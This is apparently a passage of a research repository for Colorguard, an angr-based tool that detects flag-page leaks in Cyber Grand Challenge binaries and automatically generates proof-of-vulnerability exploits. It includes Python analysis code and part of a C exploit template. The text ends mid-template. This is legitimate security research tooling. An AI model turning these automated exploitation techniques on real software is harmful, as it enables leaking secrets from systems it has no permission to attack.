├── .gitignore ├── .gitlab-ci.yml ├── LICENSE ├── README.md ├── colorguard ├── __init__.py ├── colorguard.py ├── harvester │ ├── __init__.py │ ├── harvester.py │ └── nodes.py └── pov │ ├── __init__.py │ ├── c_templates │ ├── __init__.py │ ├── colorguard_c_template.py │ ├── naive_atoi_c_template.py │ ├── naive_c_template.py │ └── naive_hex_c_template.py │ ├── colorguard_naive_atoi_pov.py │ ├── colorguard_naive_hex_pov.py │ ├── colorguard_naive_pov.py │ ├── colorguard_pov.py │ └── fake_crash.py ├── setup.py └── tests ├── test_chall_resp.py ├── test_colorguard.py └── test_cromu70_caching.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.swp 3 | *.egg-info 4 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | before_script: 2 | - angr-test sync hard 3 | 4 | ### local 5 | colorguard: 6 | script: "angr-test colorguard" 7 | tags: [angr] 8 | 9 | lint: 10 | script: "angr-test lint" 11 | tags: [angr] 12 | 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, The Regents of the University of California 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Colorguard 2 | 3 | Detect and exploit leaks of the flag page given an input. 4 | Makes stdin entirely concrete with the only symbolic data being the flag page. 5 | For most binaries this should allow us to execute almost entirely in Unicorn 6 | 7 | ```python 8 | >>> cg = colorguard.Colorguard("../binaries/tests/i386/simple_leak", "deadbeef") 9 | >>> pov = cg.attempt_exploit() # if a leak occurs exploit it 10 | >>> pov # these POVs are the same as the POVs generated by Rex 11 | 12 | >>> pov.test_binary() # being Rex POVs they can also be run against a simulation of the CGC architecture 13 | True 14 | >>> pov.dump_c('leak.c') # they can be dumped just like Rex POVs too 15 | >>> pov.dump_binary('leak.pov') 16 | ``` 17 | -------------------------------------------------------------------------------- /colorguard/__init__.py: -------------------------------------------------------------------------------- 1 | from .colorguard import ColorGuard 2 | -------------------------------------------------------------------------------- /colorguard/colorguard.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import tracer 4 | import random 5 | import logging 6 | from itertools import groupby 7 | import binascii 8 | 9 | import claripy 10 | import angr 11 | 12 | from angr.state_plugins.trace_additions import ChallRespInfo, ZenPlugin 13 | from angr.state_plugins.preconstrainer import SimStatePreconstrainer 14 | from angr.state_plugins.posix import SimSystemPosix 15 | from angr.storage.file import SimFileStream 16 | 17 | from rex.exploit.cgc import CGCExploit 18 | 19 | from .harvester import Harvester 20 | from .pov import ColorguardExploit, ColorguardNaiveExploit, ColorguardNaiveHexExploit, ColorguardNaiveAtoiExploit 21 | 22 | l = logging.getLogger("colorguard.ColorGuard") 23 | 24 | 25 | class ColorGuard(object): 26 | """ 27 | Detect leaks of the magic flag page data. 28 | Most logic is offloaded to the tracer. 29 | """ 30 | 31 | def __init__(self, binary, payload): 32 | """ 33 | :param binary: path to the binary which is suspect of leaking 34 | :param payload: concrete input string to feed to the binary 35 | """ 36 | 37 | self.binary = binary 38 | self.payload = payload 39 | 40 | if not os.access(self.binary, os.X_OK): 41 | raise ValueError("\"%s\" binary does not exist or is not executable" % self.binary) 42 | 43 | # will be set by causes_leak 44 | self._leak_path = None 45 | 46 | self._runner = tracer.QEMURunner(binary=binary, input=payload) 47 | 48 | # load the binary 49 | self.project = angr.Project(binary) 50 | simlib = angr.SIM_LIBRARIES['cgcabi_tracer'] 51 | self.project.simos.syscall_library.update(simlib[0] if isinstance(simlib, list) else simlib) 52 | 53 | # set up the state for analysis 54 | remove_options = {angr.options.SUPPORT_FLOATING_POINT} 55 | add_options = angr.options.unicorn | { 56 | angr.options.CGC_NO_SYMBOLIC_RECEIVE_LENGTH, 57 | angr.options.UNICORN_THRESHOLD_CONCRETIZATION, 58 | angr.options.REPLACEMENT_SOLVER } 59 | state = self.project.factory.full_init_state(remove_options=remove_options, add_options=add_options) 60 | 61 | # Make our own special posix 62 | state.register_plugin('posix', SimSystemPosix( 63 | stdin=SimFileStream('stdin', content=payload), 64 | stdout=SimFileStream('stdout'), 65 | stderr=SimFileStream('stderr'))) 66 | 67 | # Create the preconstrainer plugin 68 | state.register_plugin('preconstrainer', SimStatePreconstrainer()) 69 | state.preconstrainer.preconstrain_flag_page(self._runner.magic) 70 | 71 | # Set up zen 72 | ZenPlugin.prep_tracer(state) 73 | 74 | # Make the simulation manager 75 | self._simgr = self.project.factory.simulation_manager(state, save_unsat=True, hierarchy=False, save_unconstrained=self._runner.crash_mode) 76 | self._t = angr.exploration_techniques.Tracer(trace=self._runner.trace, resiliency=False) 77 | self._simgr.use_technique(self._t) 78 | self._simgr.use_technique(angr.exploration_techniques.Oppologist()) 79 | 80 | # will be overwritten by _concrete_difference if the input was filtered 81 | # this attributed is used exclusively for testing at the moment 82 | self._no_concrete_difference = not self._concrete_difference() 83 | 84 | self.leak_ast = None 85 | 86 | def _concrete_leak_info(self, seed=None): 87 | 88 | if seed is None: 89 | seed = random.randint(0, 2**32) 90 | 91 | r1 = tracer.QEMURunner(self.binary, input=self.payload, record_magic=True, record_stdout=True, seed=seed) 92 | 93 | return r1.stdout, r1.magic 94 | 95 | def _concrete_difference(self): 96 | """ 97 | Does an input when ran concretely produce two separate outputs? 98 | If it causes a leak it should, but if the outputs differ 99 | it is not guaranteed there is a leak. 100 | 101 | :return: True if the there is a concrete difference 102 | """ 103 | 104 | s1, _ = self._concrete_leak_info() 105 | s2, _ = self._concrete_leak_info() 106 | 107 | return s1 != s2 108 | 109 | def causes_dumb_leak(self): 110 | 111 | return not self._no_concrete_difference 112 | 113 | def _find_dumb_leaks_raw(self): 114 | 115 | s1, m1 = self._concrete_leak_info() 116 | 117 | potential_leaks = [ ] 118 | for i in range(len(s1)): 119 | pchunk = s1[i:i+4] 120 | if len(pchunk) == 4 and pchunk in m1: 121 | potential_leaks.append(i) 122 | 123 | return potential_leaks 124 | 125 | def _find_dumb_leaks_hex(self): 126 | 127 | s1, m1 = self._concrete_leak_info() 128 | 129 | potential_leaks = [ ] 130 | for i in range(len(s1)): 131 | pchunk = s1[i:i+8] 132 | if len(pchunk) == 8 and pchunk in binascii.hexlify(m1): 133 | potential_leaks.append(i) 134 | 135 | return potential_leaks 136 | 137 | def _find_dumb_leaks_atoi(self): 138 | 139 | s1, m1 = self._concrete_leak_info() 140 | 141 | potential_leaks = [] 142 | for i in range(len(m1)): 143 | pchunk = m1[i:i+4] 144 | if len(pchunk) != 4: 145 | continue 146 | val = struct.unpack(" 0: 245 | for lb in li: 246 | leaked[lb] = si 247 | 248 | # find four contiguous 249 | consecutive_groups = [ ] 250 | for _, g in groupby(enumerate(sorted(leaked)), lambda ix: ix[0]-ix[1]): 251 | consecutive_groups.append([x[1] for x in g]) 252 | 253 | lgroups = [x for x in consecutive_groups if len(x) >= 4] 254 | 255 | if len(lgroups): 256 | l.info("Found naive leak which leaks bytes %s", lgroups[0]) 257 | leaked_bytes = [ ] 258 | for b in leaked: 259 | leaked_bytes.append(leaked[b]) 260 | 261 | return ColorguardNaiveExploit(self.binary, self.payload, max(leaked_bytes)+1, leaked_bytes) 262 | else: 263 | l.debug("No naive leak found") 264 | 265 | def causes_leak(self): 266 | 267 | if not self.causes_naive_leak(): 268 | return False 269 | 270 | self._simgr.run() 271 | 272 | if 'traced' in self._simgr.stashes: 273 | self._leak_path = self._simgr.traced[0] 274 | elif 'crashed' in self._simgr.stashes: 275 | self._leak_path = self._t.predecessors[-1] 276 | else: 277 | l.error("Something went wrong, tracing didn't terminate with traced or crashed.") 278 | return False 279 | 280 | stdout = self._leak_path.posix.stdout 281 | output = stdout.load(0, stdout.pos) 282 | 283 | for var in output.variables: 284 | if var.startswith("cgc-flag"): 285 | self.leak_ast = output 286 | return True 287 | 288 | return False 289 | 290 | def attempt_pov(self, enabled_chall_resp=False): 291 | 292 | assert self.leak_ast is not None, "must run causes_leak first or input must cause a leak" 293 | 294 | st = self._leak_path 295 | 296 | # switch to a composite solver 297 | st.preconstrainer.remove_preconstraints(simplify=False) 298 | 299 | # get the flag var 300 | flag_bytes = st.cgc.flag_bytes 301 | 302 | # remove constraints from the state which involve only the flagpage 303 | # this solves a problem with CROMU_00070, where the floating point 304 | # operations have to be done concretely and constrain the flagpage 305 | # to being a single value 306 | CGCExploit.filter_uncontrolled_constraints(st) 307 | 308 | simplified = st.solver.simplify(self.leak_ast) 309 | 310 | harvester = Harvester(simplified, st.copy(), flag_bytes) 311 | 312 | output_var = claripy.BVS('output_var', harvester.minimized_ast.size(), explicit_name=True) #pylint:disable=no-member 313 | 314 | st.add_constraints(harvester.minimized_ast == output_var) 315 | 316 | leaked_bytes = harvester.get_largest_consecutive() 317 | if len(leaked_bytes) < 4: 318 | l.warning("input does not leak enough bytes, %d bytes leaked, need 4", len(leaked_bytes)) 319 | return None 320 | 321 | exploit = ColorguardExploit(self.binary, st, 322 | self.payload, harvester, 323 | simplified, output_var, leaked_bytes) 324 | 325 | # only want to try this once 326 | if not enabled_chall_resp: 327 | l.info('testing for challenge response') 328 | if self._challenge_response_exists(exploit): 329 | l.warning('challenge response detected') 330 | exploit = self._prep_challenge_response() 331 | 332 | return exploit 333 | 334 | def attempt_exploit(self): 335 | """ 336 | Try all techniques 337 | """ 338 | 339 | if self.causes_dumb_leak(): 340 | pov = self.attempt_dumb_pov() 341 | if pov is not None and any(pov.test_binary(times=10, enable_randomness=True, timeout=5)): 342 | return pov 343 | else: 344 | l.warning("Dumb leak exploitation failed") 345 | 346 | if self.causes_naive_leak(): 347 | pov = self.attempt_naive_pov() 348 | if pov is not None and any(pov.test_binary(times=10, enable_randomness=True, timeout=5)): 349 | return pov 350 | else: 351 | l.warning("Naive leak exploitation failed") 352 | 353 | if self.causes_leak(): 354 | pov = self.attempt_pov() 355 | if pov is not None: 356 | return pov 357 | else: 358 | l.warning("Colorguard leak exploitation failed") 359 | 360 | ### CHALLENGE RESPONSE 361 | 362 | @staticmethod 363 | def _challenge_response_exists(exploit): 364 | """ 365 | Since one success may actually occur, let's test for two successes 366 | """ 367 | return not (exploit.test_binary(times=10, enable_randomness=True, timeout=30).count(True) > 1) 368 | 369 | def _prep_challenge_response(self, format_infos=None): 370 | """ 371 | Set up the internal tracer for challenge-response analysis 372 | 373 | :param format_infos: a list of atoi FormatInfo objects that should be used when analyzing the crash 374 | """ 375 | 376 | # need to re-trace the binary with stdin symbolic 377 | 378 | remove_options = {angr.options.SUPPORT_FLOATING_POINT} 379 | add_options = angr.options.unicorn | { 380 | angr.options.CGC_NO_SYMBOLIC_RECEIVE_LENGTH, 381 | angr.options.UNICORN_THRESHOLD_CONCRETIZATION, 382 | angr.options.REPLACEMENT_SOLVER } 383 | 384 | state = self.project.factory.full_init_state(add_options=add_options, remove_options=remove_options) 385 | 386 | # Make our own special posix 387 | state.register_plugin('posix', SimSystemPosix( 388 | stdin=SimFileStream('stdin', ident='aeg_input_stdin'), # we do tests against the name of the variable... 389 | stdout=SimFileStream('stdout'), 390 | stderr=SimFileStream('stderr'))) 391 | 392 | # Create the preconstrainer plugin 393 | state.register_plugin('preconstrainer', SimStatePreconstrainer()) 394 | state.preconstrainer.preconstrain_flag_page(self._runner.magic) 395 | state.preconstrainer.preconstrain_file(self.payload, state.posix.stdin) 396 | 397 | # Set up zen 398 | ZenPlugin.prep_tracer(state) 399 | ChallRespInfo.prep_tracer(state, format_infos) 400 | 401 | self._simgr = self.project.factory.simulation_manager(state, save_unsat=True, hierarchy=False, save_unconstrained=self._runner.crash_mode) 402 | self._t = angr.exploration_techniques.Tracer(trace=self._runner.trace, resiliency=False) 403 | self._simgr.use_technique(self._t) 404 | self._simgr.use_technique(angr.exploration_techniques.Oppologist()) 405 | 406 | assert self.causes_leak(), "challenge did not cause leak when trying to recover challenge-response" 407 | 408 | return self.attempt_pov(enabled_chall_resp=True) 409 | -------------------------------------------------------------------------------- /colorguard/harvester/__init__.py: -------------------------------------------------------------------------------- 1 | from .harvester import Harvester 2 | -------------------------------------------------------------------------------- /colorguard/harvester/harvester.py: -------------------------------------------------------------------------------- 1 | import claripy 2 | from itertools import groupby 3 | from operator import itemgetter 4 | 5 | import logging 6 | l = logging.getLogger("colorguard.harvester") 7 | #l.setLevel("DEBUG") 8 | 9 | 10 | class Harvester(object): 11 | """ 12 | harvest information from an angr AST 13 | """ 14 | 15 | def __init__(self, ast, state, flag_bytes): 16 | self.ast = ast 17 | 18 | self.state = state 19 | 20 | self.flag_bytes = flag_bytes 21 | 22 | self.possibly_leaked_bytes = sorted(set(self._get_bytes(self.ast))) 23 | 24 | # receive code 25 | self.receives = [ ] 26 | 27 | self.minized_ast = None 28 | self.output_bytes = [ ] 29 | 30 | self._minimize_ast() 31 | 32 | def _minimize_ast(self): 33 | """ 34 | Byte-by-byte traversal over the AST finding which bytes do not need to 35 | added to the constraints solved by boolector 36 | """ 37 | 38 | # collect bytes 39 | ast_bytes = [ ] 40 | for i in range(self.ast.size() // 8, 0, -1): 41 | ast_bytes.append(self.ast[i * 8 - 1: (i * 8) - 8]) 42 | 43 | # populate receives and minimized ast 44 | 45 | minimized_ast_skel = [ ] 46 | 47 | for i, b in enumerate(ast_bytes): 48 | if b.op != 'BVV': 49 | minimized_ast_skel.append(b) 50 | self.output_bytes.append(i) 51 | 52 | # make the skeleton into an ast 53 | self.minimized_ast = claripy.Concat(*minimized_ast_skel) 54 | 55 | def _get_bytes(self, ast): 56 | """ 57 | Get the bytes that might've been leaked 58 | """ 59 | zen_plugin = self.state.get_plugin("zen_plugin") 60 | return zen_plugin.get_flag_bytes(ast) 61 | 62 | def _confident_byte(self, ss, byte): 63 | l.debug("checking byte") 64 | if len(ss.solver.eval_upto(self.flag_bytes[byte], 2)) == 1: 65 | return True 66 | return False 67 | 68 | def get_largest_consecutive(self): 69 | # extra work here because we need to be confident about the bytes 70 | 71 | ss = self.state.copy() 72 | ss.add_constraints(self.minimized_ast == ss.solver.BVV(ss.solver.eval(self.minimized_ast, cast_to=bytes))) 73 | 74 | leaked_bytes = [ ] 75 | for byte in self.possibly_leaked_bytes: 76 | if self._confident_byte(ss, byte): 77 | leaked_bytes.append(byte) 78 | 79 | leaked_bytes = sorted(set(leaked_bytes)) 80 | 81 | consec_bytes = [ ] 82 | # find consecutive leaked bytes 83 | for _, g in groupby(enumerate(leaked_bytes), lambda ix: ix[0]-ix[1]): 84 | consec_bytes.append(list(map(itemgetter(1), g))) 85 | 86 | ordered_bytes = sorted(consec_bytes, key=lambda x: -len(x)) 87 | return ordered_bytes[0] if len(ordered_bytes) > 0 else [ ] 88 | -------------------------------------------------------------------------------- /colorguard/harvester/nodes.py: -------------------------------------------------------------------------------- 1 | class NodeTree(object): 2 | """ 3 | Tree of node objects, responsible for turning operation nodes into C code. 4 | """ 5 | 6 | def __init__(self, node_root): 7 | 8 | if not isinstance(node_root, (ConcatNode, ExtractNode)): 9 | raise ValueError("only ConcatNodes or ExtractNodes can be tree roots") 10 | 11 | self.root = node_root 12 | self.created_vars = set() 13 | 14 | @staticmethod 15 | def _to_byte_idx(idx): 16 | return 4095 - idx // 8 17 | 18 | def _find_node(self, tree, node_cls): 19 | 20 | if isinstance(tree, node_cls): 21 | return tree 22 | 23 | if isinstance(tree, BinOpNode): 24 | res = self._find_node(tree.arg1, node_cls) 25 | if res is not None: 26 | return res 27 | res = self._find_node(tree.arg2, node_cls) 28 | 29 | if isinstance(tree, ReverseNode): 30 | return self._find_node(tree.arg, node_cls) 31 | 32 | if isinstance(tree, ExtractNode): 33 | return self._find_node(tree.arg, node_cls) 34 | 35 | if isinstance(tree, (BVSNode, BVVNode)): 36 | return None 37 | 38 | def to_c(self): 39 | """ 40 | Convert a C expression. 41 | """ 42 | 43 | c_code = None 44 | if isinstance(self.root, ConcatNode): 45 | c_code = self._concat_to_c() 46 | elif isinstance(self.root, ExtractNode): 47 | c_code = self._extract_to_c() 48 | else: 49 | assert False, "unrecognized node type %s as op" % self.root.__class__ 50 | 51 | return c_code 52 | 53 | def _single_sided(self, op): 54 | """ 55 | Check if a an AST contains the flag page on only one sided 56 | :param op: Node representing the operation to test 57 | :return: boolean whether symbolic data is only on a single side 58 | """ 59 | 60 | 61 | def _concat_to_c(self): 62 | 63 | statements = [ ] 64 | 65 | max_op_size = 0 66 | 67 | for size, op in self.root.operands: 68 | 69 | statement = None 70 | # we can get operations where flag data is on both sides of arithmetic operation 71 | # these are not always impossible to reverse (for example flag_data + flag_data) 72 | # TODO: but im too lazy to special case these at the moment 73 | if isinstance(op, BVVNode) or op._symbolic_sides() > 1: 74 | # read and throw away 75 | statements.append("blank_receive(0, {});".format(size // 8)) 76 | else: 77 | max_op_size = max(max_op_size, size // 8) 78 | # find extract to determine which flag byte 79 | statements.append("receive(0, {}, {}, NULL);\n".format('root', size // 8)) 80 | 81 | enode = self._find_node(op, ExtractNode) 82 | start_byte = NodeTree._to_byte_idx(enode.end_index) 83 | end_byte = NodeTree._to_byte_idx(enode.start_index) + 1 84 | 85 | statement = op.to_statement() 86 | if statement != "": 87 | statements.append(statement + ";") 88 | 89 | for r_i, i in enumerate(range(start_byte, end_byte)): 90 | statement = "" 91 | if not i in self.created_vars: 92 | statement += "uint8_t " 93 | self.created_vars.add(i) 94 | # hack! this will assume that if the operation size is larger than leaked bytes 95 | # the leaked bytes will be on the `right` of the leaked int 96 | statement += "flag_byte_%d = root[%d] & 0xff;" % (i, r_i + (size // 8) - (end_byte - start_byte)) 97 | statements.append(statement) 98 | 99 | statements = ["\nchar root[%d];" % max_op_size, "int flag = 0;"] + statements 100 | return '\n'.join(statements) + "\n" + self._concat_combine_bytes() 101 | 102 | def _extract_to_c(self): 103 | 104 | # if it's an extract statement we already know it needs to have all the bytes 105 | 106 | statements = ["\nchar root[%d];" % (self.root.size // 8), "int flag = 0;"] 107 | statements.append("receive(0, {}, {}, NULL);".format('root', self.root.size // 8)) 108 | 109 | statements.append(self.root.to_statement() + ";") 110 | for i in range(self.root.size // 8): 111 | statements.append("uint8_t flag_byte_%d = root[%d] & 0xff;" % (i, i)) 112 | 113 | for i in range(min(self.root.size // 8, 4)): 114 | statements.append("flag |= flag_byte_%d << %d;" % (i, 24 - (i * 8))) 115 | return "\n".join(statements) 116 | 117 | def leaked_bytes(self): 118 | """ 119 | Determine which bytes were leaked 120 | :returns: list of tuples of (byte_index, operation) 121 | """ 122 | 123 | byte_list = [ ] 124 | if isinstance(self.root, ConcatNode): 125 | byte_list = self._concat_leaked_bytes() 126 | elif isinstance(self.root, ExtractNode): 127 | byte_list = self._extract_leaked_bytes() 128 | 129 | return byte_list 130 | 131 | def _concat_leaked_bytes(self): 132 | """ 133 | Traverse tree and determine which byte indices of the flag page were leaked. 134 | :returns: list of tuples of (byte_index, operation) 135 | """ 136 | 137 | lbytes = [ ] 138 | op = None # silence pylint 139 | for _, op in self.root.operands: 140 | 141 | node = self._find_node(op, ExtractNode) 142 | if node is not None: 143 | start_byte = NodeTree._to_byte_idx(node.end_index) 144 | end_byte = NodeTree._to_byte_idx(node.start_index) 145 | 146 | bs = list(range(start_byte, end_byte+1)) 147 | 148 | lbytes += list(map(lambda y: (y, op), bs)) 149 | 150 | return lbytes 151 | 152 | def _extract_leaked_bytes(self): 153 | """ 154 | Simple for extract, just do operations based off the indices 155 | """ 156 | 157 | start_byte = NodeTree._to_byte_idx(self.root.end_index) 158 | end_byte = NodeTree._to_byte_idx(self.root.start_index) 159 | 160 | return list(map(lambda y: (y, self.root), [start_byte] + list(range(start_byte + 1, end_byte + 1)))) 161 | 162 | def _concat_combine_bytes(self): 163 | 164 | statements = [ ] 165 | ordered_bytes = dict(self.leaked_bytes()) 166 | for current_byte in ordered_bytes: 167 | # check if the next four bytes leak the subsequent bytes 168 | current_byte_idx = current_byte 169 | 170 | next_consec = True 171 | 172 | for j in range(1,4): 173 | if not current_byte+j in ordered_bytes: 174 | next_consec = False 175 | break 176 | 177 | # try again 178 | if not next_consec: 179 | continue 180 | 181 | # found four consecutive bytes 182 | for j in range(0, 4): 183 | statements.append("flag |= " + "flag_byte_{} << {};".format(current_byte_idx + j, 24 - 8 * j)) 184 | 185 | break 186 | 187 | if len(statements) == 0: 188 | raise ValueError("no consecutive four bytes") 189 | 190 | return '\n'.join(statements) 191 | 192 | class Node(object): 193 | 194 | def __init__(self, size): 195 | self.size = size 196 | 197 | def _symbolic_sides(self): 198 | raise NotImplementedError("It is the responsibilty of subclasses to implement this method") 199 | 200 | class UnOp(Node): 201 | 202 | def __init__(self, arg, size): 203 | super(UnOp, self).__init__(size) 204 | self.arg = arg 205 | 206 | def _symbolic_sides(self): 207 | return self.arg._symbolic_sides() 208 | 209 | class BVVNode(UnOp): 210 | def __init__(self, arg, size): 211 | super(BVVNode, self).__init__(arg, size) 212 | 213 | def to_statement(self): 214 | return "{0:#x}".format(self.arg) 215 | 216 | def _symbolic_sides(self): 217 | return 0 218 | 219 | class BVSNode(UnOp): 220 | def __init__(self, arg, size): 221 | super(BVSNode, self).__init__(arg, size) 222 | 223 | def to_statement(self): 224 | return self.arg 225 | 226 | def _symbolic_sides(self): 227 | return 1 228 | 229 | class BinOpNode(Node): 230 | 231 | def __init__(self, op_str, arg1, arg2, size): 232 | super(BinOpNode, self).__init__(size) 233 | self.arg1 = arg1 234 | self.arg2 = arg2 235 | self.op_str = op_str 236 | 237 | def to_statement(self): 238 | a1_t = self.arg1.to_statement() 239 | a2_t = self.arg2.to_statement() 240 | return "{1}({0}, {2}, {3})".format(a1_t, self.op_str, a2_t, self.size // 8) 241 | 242 | def _symbolic_sides(self): 243 | return self.arg1._symbolic_sides() + self.arg2._symbolic_sides() 244 | 245 | class AddNode(BinOpNode): 246 | 247 | def __init__(self, arg1, arg2, size): 248 | super(AddNode, self).__init__('add', arg1, arg2, size) 249 | 250 | class SubNode(BinOpNode): 251 | 252 | def __init__(self, arg1, arg2, size): 253 | super(SubNode, self).__init__('sub', arg1, arg2, size) 254 | 255 | class XorNode(BinOpNode): 256 | 257 | def __init__(self, arg1, arg2, size): 258 | super(XorNode, self).__init__('xor', arg1, arg2, size) 259 | 260 | class AndNode(BinOpNode): 261 | def __init__(self, arg1, arg2, size): 262 | super(AndNode, self).__init__('and', arg1, arg2, size) 263 | 264 | class ExtractNode(UnOp): 265 | 266 | def __init__(self, arg, start_index, end_index, size): 267 | super(ExtractNode, self).__init__(arg, size) 268 | self.start_index = start_index 269 | self.end_index = end_index 270 | 271 | def to_statement(self): 272 | """ 273 | ExtractNodes are assumed to be top-level 274 | """ 275 | 276 | a_t = self.arg.to_statement() 277 | 278 | if isinstance(self.arg, BVSNode): 279 | return "" 280 | 281 | return "{0}".format(a_t) 282 | 283 | class ReverseNode(UnOp): 284 | 285 | def __init__(self, arg, size): 286 | super(ReverseNode, self).__init__(arg, size) 287 | 288 | def to_statement(self): 289 | a_t = self.arg.to_statement() 290 | return "reverse({0}, {1})".format(a_t, self.size // 8) 291 | 292 | class ConcatNode(Node): 293 | 294 | def __init__(self, operands, size): 295 | super(ConcatNode, self).__init__(size) 296 | self.operands = operands 297 | 298 | def to_statement(self): 299 | raise NotImplementedError("this should not be called") 300 | 301 | def _symbolic_sides(self): 302 | """symbolicness does not matter in this case""" 303 | return 0 304 | -------------------------------------------------------------------------------- /colorguard/pov/__init__.py: -------------------------------------------------------------------------------- 1 | from .colorguard_pov import ColorguardExploit 2 | from .colorguard_naive_pov import ColorguardNaiveExploit 3 | from .colorguard_naive_hex_pov import ColorguardNaiveHexExploit 4 | from .colorguard_naive_atoi_pov import ColorguardNaiveAtoiExploit 5 | -------------------------------------------------------------------------------- /colorguard/pov/c_templates/__init__.py: -------------------------------------------------------------------------------- 1 | from .naive_c_template import naive_c_template 2 | from .naive_hex_c_template import naive_hex_c_template 3 | from .naive_atoi_c_template import naive_atoi_c_template 4 | from .colorguard_c_template import colorguard_c_template 5 | -------------------------------------------------------------------------------- /colorguard/pov/c_templates/colorguard_c_template.py: -------------------------------------------------------------------------------- 1 | colorguard_c_template = """ 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | /* global output data */ 8 | BoolectorNode *output_val = NULL; 9 | size_t output_size = 0; 10 | size_t recv_off = 0; 11 | int num_symbols = 0; 12 | 13 | // usual globals 14 | char *received_data = NULL; 15 | char *payload = NULL; 16 | size_t payload_buffer_len; 17 | size_t recv_buf_len; 18 | const size_t payload_len = {payload_len}; 19 | 20 | 21 | // INTEGER STUFF 22 | // the integers must be ordered by start loc 23 | size_t payload_int_start_locs[] = {payload_int_start_locations}; 24 | int payload_int_bases[] = {payload_int_bases}; 25 | int payload_int_expected_lens[] = {payload_int_expected_lens}; 26 | // +1 to silence the warning if it's 0 27 | int payload_int_corrections[{num_payload_ints}+1] = {0}; 28 | size_t recv_int_start_locs[] = {recv_int_start_locations}; 29 | int recv_int_expected_lens[] = {recv_int_expected_lens}; 30 | int recv_int_corrections[{num_payload_ints}+1] = {0}; 31 | int recv_int_bases[] = {recv_int_bases}; 32 | 33 | 34 | enum register_t 35 | { 36 | eax = 0, 37 | ecx = 1, 38 | edx = 2, 39 | ebx = 3, 40 | esp = 4, 41 | ebp = 5, 42 | esi = 6, 43 | edi = 7 44 | }; 45 | 46 | void die(const char *str) { 47 | transmit(2, str, strlen(str), NULL); 48 | _terminate(1); 49 | } 50 | 51 | void debug_str(const char *str) { 52 | transmit(2, str, strlen(str), NULL); 53 | } 54 | 55 | /* 56 | * Test file descriptor readiness. 57 | */ 58 | 59 | int fd_ready(int fd) { 60 | struct timeval tv; 61 | fd_set rfds; 62 | int readyfds = 0; 63 | 64 | FD_SET(fd, &rfds); 65 | 66 | tv.tv_sec = 1; 67 | tv.tv_usec = 0; 68 | 69 | int ret; 70 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 71 | 72 | /* bail if fdwait fails */ 73 | if (ret != 0) { 74 | return 0; 75 | } 76 | if (readyfds == 0) 77 | return 0; 78 | 79 | return 1; 80 | } 81 | 82 | size_t receive_n( int fd, unsigned char *dst, size_t n_bytes ) 83 | { 84 | size_t len = 0; 85 | size_t rx = 0; 86 | while(len < n_bytes) { 87 | if (receive(fd, dst + len, n_bytes - len, &rx) != 0) { 88 | len = 0; 89 | break; 90 | } 91 | len += rx; 92 | } 93 | 94 | return len; 95 | } 96 | 97 | int send_all(int fd, const void *msg, size_t n_bytes) 98 | { 99 | size_t len = 0; 100 | size_t tx = 0; 101 | while(len < n_bytes) { 102 | if (transmit(fd, (char *)msg + len, n_bytes - len, &tx) != 0) { 103 | return 1; 104 | } 105 | len += tx; 106 | } 107 | return 0; 108 | } 109 | 110 | void debug_print(const char *msg) { 111 | size_t len = (size_t)strlen(msg); 112 | transmit(2, msg, len, 0); 113 | } 114 | 115 | int fd_ready_timeout(int fd, int timeout_us) { 116 | struct timeval tv; 117 | fd_set rfds; 118 | int readyfds = 0; 119 | 120 | FD_SET(fd, &rfds); 121 | 122 | tv.tv_sec = timeout_us/1000000; 123 | tv.tv_usec = timeout_us % 1000000; 124 | 125 | int ret; 126 | ret = fdwait(fd + 1, &rfds, NULL, &tv, &readyfds); 127 | 128 | /* bail if fdwait fails */ 129 | if (ret != 0) { 130 | return 0; 131 | } 132 | if (readyfds == 0) 133 | return 0; 134 | 135 | return 1; 136 | } 137 | 138 | 139 | void safe_memcpy(char *dst, char *src, int len) { 140 | char *foo = malloc(len); 141 | memcpy(foo, src, len); 142 | memcpy(dst, foo, len); 143 | free(foo); 144 | } 145 | 146 | void* realloc_zero(void* pBuffer, size_t oldSize, size_t newSize) { 147 | void* pNew = realloc(pBuffer, newSize); 148 | if ( newSize > oldSize && pNew ) { 149 | size_t diff = newSize - oldSize; 150 | void* pStart = ((char*)pNew) + oldSize; 151 | memset(pStart, 0, diff); 152 | } 153 | return pNew; 154 | } 155 | 156 | int get_int_len(char *start, int base, int max) { 157 | char buf[0x20] = {0}; 158 | memcpy(buf, start, max); 159 | char *endptr = 0; 160 | strtoul(buf, &endptr, base); 161 | if (endptr - buf > max) { 162 | return max; 163 | } 164 | return endptr - buf; 165 | } 166 | 167 | char *strrev (char *str) 168 | { 169 | int i; 170 | int len = 0; 171 | char c; 172 | if (!str) 173 | return NULL; 174 | while(str[len] != '\\0'){ 175 | 